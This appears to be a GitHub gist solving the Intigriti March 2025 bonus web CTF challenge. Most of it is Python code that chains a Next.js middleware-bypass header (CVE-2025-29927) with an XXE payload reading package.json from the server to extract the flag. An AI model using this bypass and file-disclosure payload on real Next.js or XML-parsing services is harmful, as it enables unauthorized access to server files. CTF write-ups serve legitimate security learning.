Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active May 13, 2025 11:48
Show Gist options
  • Save Siss3l/7a6b55978214325f60464f4f92ecce07 to your computer and use it in GitHub Desktop.
Save Siss3l/7a6b55978214325f60464f4f92ecce07 to your computer and use it in GitHub Desktop.
Intigriti March 2025 Bonus Web Challenge

Intigriti March 2025 Bonus Web Challenge

Resolution

Based on the website working with NextJS and XML edition, we suspect that related recent exploits are needed to easily solve this challenge:

# On local host
flag = __import__("json").loads(__import__("requests").post(
  "https://hackdonalds.intigriti.io/api/parse-xml",
  headers = {"X-Middleware-Subrequest":"middleware"}, # gotr00t0day/CVE-2025-29927/blob/main/CVE-2025-29927.py | eliza.how
  json    = {"xml":"<!DOCTYPE A[<!ENTITY A SYSTEM \"file:///proc/self/cwd/package.json\">]><A>&A;</A>"}  # bryanmcnulty.github.io/blob/main/_posts/2023-06-24-htb-stocker.md#local-file-disclosure
).json()["result"])["name"]
# On python3 bellard.org/jslinux/vm.html?url=alpine-x86.cfg
import json, urllib.request; flag = json.loads(json.loads(urllib.request.urlopen(urllib.request.Request(
  "https://hackdonalds.intigriti.io/api/parse-xml",
  headers = {"X-Middleware-Subrequest":"middleware", "Content-Type":"application/json"},
  data    = b'''{"xml":"<!DOCTYPE A[<!ENTITY A SYSTEM \\"file:///app/package.json\\">]><A>&A;</A>"}'''
)).read().decode())["result"])["name"]
assert flag == "INTIGRITI{XXE_1n_Ic3Cr34m_M4ch1n3s}"

Bye

Comments are disabled for this gist.